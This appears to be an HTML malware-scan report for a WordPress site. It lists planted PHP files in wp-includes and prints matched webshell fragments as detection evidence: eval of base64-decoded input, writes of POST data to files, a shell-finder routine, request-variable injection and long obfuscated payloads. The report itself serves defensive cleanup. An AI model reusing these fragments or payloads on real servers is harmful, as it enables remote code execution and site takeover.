<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str2 = '</span><span style="color: #007700">Array(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str3 = '</span><span style="color: #007700">@</span><span style="color: #0000BB">$isbot</span><span style="color: #DD0000">'; $search_str4 = '</span><span style="color: #007700">@require</span><span style="color: #DD0000">'; $search_str5 = '</span><span style="color: #007700">eval(</span><span style="color: #0000BB">gzuncompress</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str6 = '</span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x2'; </span><span style="color: #0000BB">$search_str7</span><span style="color: #DD0000"> = '</span><span style="color: #0000BB">$OO</span><span style="color: #DD0000">'; </span><span style="color: #0000BB">$search_str8</span><span style="color: #DD0000"> = 'cache=00'; </span><span style="color: #0000BB">$search_str9</span><span style="color: #DD0000"> = 'file_get_contents(\"../index.php\")</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #DD0000">'; $search_str12 = '</span><span style="color: #0000BB">multipart</span><span style="color: #007700">/</span><span style="color: #0000BB">form</span><span style="color: #007700">-</span><span style="color: #0000BB">data</span><span style="color: #DD0000">'; if (!file_exists($finderdata_path)</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str2 = '</span><span style="color: #007700">Array(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str3 = '</span><span style="color: #007700">@</span><span style="color: #0000BB">$isbot</span><span style="color: #DD0000">'; $search_str4 = '</span><span style="color: #007700">@require</span><span style="color: #DD0000">'; $search_str5 = '</span><span style="color: #007700">eval(</span><span style="color: #0000BB">gzuncompress</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str6 = '</span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x2'; </span><span style="color: #0000BB">$search_str7</span><span style="color: #DD0000"> = '</span><span style="color: #0000BB">$OO</span><span style="color: #DD0000">'; </span><span style="color: #0000BB">$search_str8</span><span style="color: #DD0000"> = 'cache=00'; </span><span style="color: #0000BB">$search_str9</span><span style="color: #DD0000"> = 'file_get_contents(\"../index.php\")"'; $search_str10 = '</span><span style="color: #0000BB">is_uploaded_file</span><span style="color: #DD0000">'; $search_str11 = '</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #DD0000">'; $search_str12 = '</span><span style="color: #0000BB">multipart</span><span style="color: #007700">/</span><span style="color: #0000BB">form</span><span style="color: #007700">-</span><span style="color: #0000BB">data</span><span style="color: #DD0000">'; if (!file_exists($finderdata_path)) { $arr_php_file = findshells($_SERVER['</span><span style="color: #0000BB">DOCUMENT_</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 279</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 294</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">arr_php_file </span><span style="color: #007700">= </span><span style="color: #0000BB">findshells</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SERVER</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 689d8acc <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 65</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 689d8acc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">if (isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'juke'</span><span style="color: #007700">]))
<br />{
<br /> </span><span style="color: #0000BB">$arr_files </span><span style="color: #007700">= </span><span style="color: #0000BB">DirFilesR</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span style="color: #DD0000">'DOCUMENT_ROOT'</span><span style="color: #007700">]);</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_80").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/skCBie1KIjr.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 28.35 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 19:12:34</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 19:12:34</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 6</span><br><table id="file_81" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit download_remote_code2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 652</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RFU (Remote File Upload), via HTTP, allow to write malicious code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">fwrite </span><span style="color: #007700">(</span><span style="color: #0000BB">$fp</span><span style="color: #007700">, </span><span style="color: #0000BB">$_POST </span><span style="color: #007700">[</span><span style="color: #DD0000">'new'</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str2 = '</span><span style="color: #007700">Array(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str3 = '</span><span style="color: #007700">@</span><span style="color: #0000BB">$isbot</span><span style="color: #DD0000">'; $search_str4 = '</span><span style="color: #007700">@require</span><span style="color: #DD0000">'; $search_str5 = '</span><span style="color: #007700">eval(</span><span style="color: #0000BB">gzuncompress</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str6 = '</span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x2'; </span><span style="color: #0000BB">$search_str7</span><span style="color: #DD0000"> = '</span><span style="color: #0000BB">$OO</span><span style="color: #DD0000">'; </span><span style="color: #0000BB">$search_str8</span><span style="color: #DD0000"> = 'cache=00'; </span><span style="color: #0000BB">$search_str9</span><span style="color: #DD0000"> = 'file_get_contents(\"../index.php\")</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #DD0000">'; $search_str12 = '</span><span style="color: #0000BB">multipart</span><span style="color: #007700">/</span><span style="color: #0000BB">form</span><span style="color: #007700">-</span><span style="color: #0000BB">data</span><span style="color: #DD0000">'; if (!file_exists($finderdata_path)</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str2 = '</span><span style="color: #007700">Array(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str3 = '</span><span style="color: #007700">@</span><span style="color: #0000BB">$isbot</span><span style="color: #DD0000">'; $search_str4 = '</span><span style="color: #007700">@require</span><span style="color: #DD0000">'; $search_str5 = '</span><span style="color: #007700">eval(</span><span style="color: #0000BB">gzuncompress</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str6 = '</span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x2'; </span><span style="color: #0000BB">$search_str7</span><span style="color: #DD0000"> = '</span><span style="color: #0000BB">$OO</span><span style="color: #DD0000">'; </span><span style="color: #0000BB">$search_str8</span><span style="color: #DD0000"> = 'cache=00'; </span><span style="color: #0000BB">$search_str9</span><span style="color: #DD0000"> = 'file_get_contents(\"../index.php\")"'; $search_str10 = '</span><span style="color: #0000BB">is_uploaded_file</span><span style="color: #DD0000">'; $search_str11 = '</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #DD0000">'; $search_str12 = '</span><span style="color: #0000BB">multipart</span><span style="color: #007700">/</span><span style="color: #0000BB">form</span><span style="color: #007700">-</span><span style="color: #0000BB">data</span><span style="color: #DD0000">'; if (!file_exists($finderdata_path)) { $arr_php_file = findshells($_SERVER['</span><span style="color: #0000BB">DOCUMENT_</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 279</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 294</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">arr_php_file </span><span style="color: #007700">= </span><span style="color: #0000BB">findshells</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SERVER</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 689d8acc <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 65</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 689d8acc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">if (isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'juke'</span><span style="color: #007700">]))
<br />{
<br /> </span><span style="color: #0000BB">$arr_files </span><span style="color: #007700">= </span><span style="color: #0000BB">DirFilesR</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span style="color: #DD0000">'DOCUMENT_ROOT'</span><span style="color: #007700">]);</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_81").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/comment.section.1769473539.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.03 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:26:00</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:26:00</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_82" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 108</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 55</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_82").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/block-supports/custom_file_3_1769473324.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.03 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:22:26</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:22:26</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_83" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 108</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 55</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_83").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/8xGw7MricdA.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 51.75 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 22:05:15</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 22:05:15</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_84" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'OykpKSkpKSkpKSkpKSkpKSkpKSldODAwMDB4MFtd+KbLW1NMQUJPTEckKDVNaUUyRVZSbkFBZ1VwT1RfKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlfTspKSkpT0REc1Bnb18kKGxaWVZfKGs4ZmRHSktUV18kKGV0YWxmbml6Zyh2ZXJydHMgbnJ1dGVyO2s4ZmRHSktUV18kbGFib2xnO0pyWU42XyRsYWJvbGd7KU9ERHNQZ29fJCg1TWlFMkVWUm5BQWdVcE9UXyBub2l0Y251ZjtdNzAwMHgwW134pstbU0xBQk9MRyQ9azhmZEdKS1RXXyQ7XTYwMHgwW134pstbU0xBQk9MRyQ9SnJZTjZfJH07OUVZYm1fJCBucnV0ZXI7KSkpXTUweDBbXfimy1tTTEF...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$MAIqK</span><span style="color: #007700">(</span><span style="color: #0000BB">$eyxBz</span><span style="color: #007700">(</span><span style="color: #DD0000">'OykpKSkpKSkpKSkpKSkpKSkpKSldODAwMDB4MFtd+KbLW1NMQUJPTEckKDVNaUUyRVZSbkFBZ1VwT1RfKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlKGxhdmUobGF2ZShsYXZlfTspKSkpT0REc1Bnb18kKGxaWVZfKGs4ZmRHSktUV18kKGV0YWxmbml6Zyh2ZXJydHMgbnJ1dGVyO2s4ZmRHSktUV18kbGFib2xnO0pyWU42XyRsYWJvbGd7KU9ERHNQZ29fJCg1TWlFMkVWUm5BQWdVcE9UXyBub2l0Y251ZjtdNzAwMHgwW134pstbU0xBQk9MRyQ9azhmZEdKS1RXXyQ7XTYwMHgwW134pstbU0xBQk9MRyQ9SnJZTjZfJH07OUVZYm1fJCBucnV0ZXI7KSkp...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">LavE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VJag</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_84").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/Requests/bottom_1769473234.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.03 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:20:59</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:20:59</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_85" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 108</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 55</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_85").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/Requests/src/Exception/Http/Http/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.51 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:15:03</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:15:03</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_86" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'wk6UEFf4PKI2C8tXvWOVDZEy6ZMeZdsnzmRfY86P72LPf5+P5xHn6/7N9o0zu/653GMzvf0RH/RtXt1nU5Q0yasrntqMNc563DTOf92T+9d5O6tr34Fvc5b3Nxbud5jLNgnHanGvZy3Y8qojP18nFSKqN3Gn5+3slF/9+i8j+4vv5saUSYPgZMKFcXzD1sSKx3Nf636XzK+8qNOAVweQ5MiedrMe1bwaRIg3E9CKMKvazBTEz1+1n6seYnnqkey9ByC8cmQFa/M9oXhPMREvI1YYgMww0+iklphw3tbYGWJ1XhxVAY/9ix6QMD64OS9ViC6o3Pxd3at9mF0T6VvBB4DyoGs5Lbu88rbF0BrsVrVp6JzEUrseE8x42vys/J1+5L2rzL+Ybnf9yZ9aLkO7bgqUDiuoq4r13jTpq1A+XbMJuYdJOM9b31fRc3U9/oimt2R0fBZVjqIAB4x2tiBgKtjrxzBmZmxjx9KeOvcI96iHWj691R7...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$MLNSg</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_86").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/Requests/src/Exception/Http/Http/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.35 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:15:03</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:15:03</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_87" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$uIBPF6L5WO7</span><span style="color: #007700">[</span><span style="color: #0000BB">31</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_87").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/Requests/src/Transport/Transport/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.52 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:15:09</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:15:09</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_88" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 